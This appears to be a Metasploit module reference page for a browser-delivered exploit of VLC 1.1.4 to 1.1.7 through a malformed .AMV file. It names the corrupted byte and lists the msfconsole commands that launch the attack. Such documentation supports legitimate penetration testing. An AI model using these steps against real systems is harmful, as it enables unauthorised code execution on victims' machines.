This module exploits VLC media player when handling a .AMV file. By flipping the 0x41st byte in the file format (video width/height), VLC crashes due to an invalid pointer, which allows remote attackers to gain arbitrary code execution. The vulnerable packages include: VLC 1.1.4, VLC 1.1.5, VLC 1.1.6, VLC 1.1.7. Also, please note that IE 8 targets require Java support in order to run properly.
Windows
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/windows/browser/vlc_amv
msf exploit(vlc_amv) > show targets
...targets...
msf exploit(vlc_amv) > set TARGET < target-id >
msf exploit(vlc_amv) > show options
...show and set options...
msf exploit(vlc_amv) > exploit
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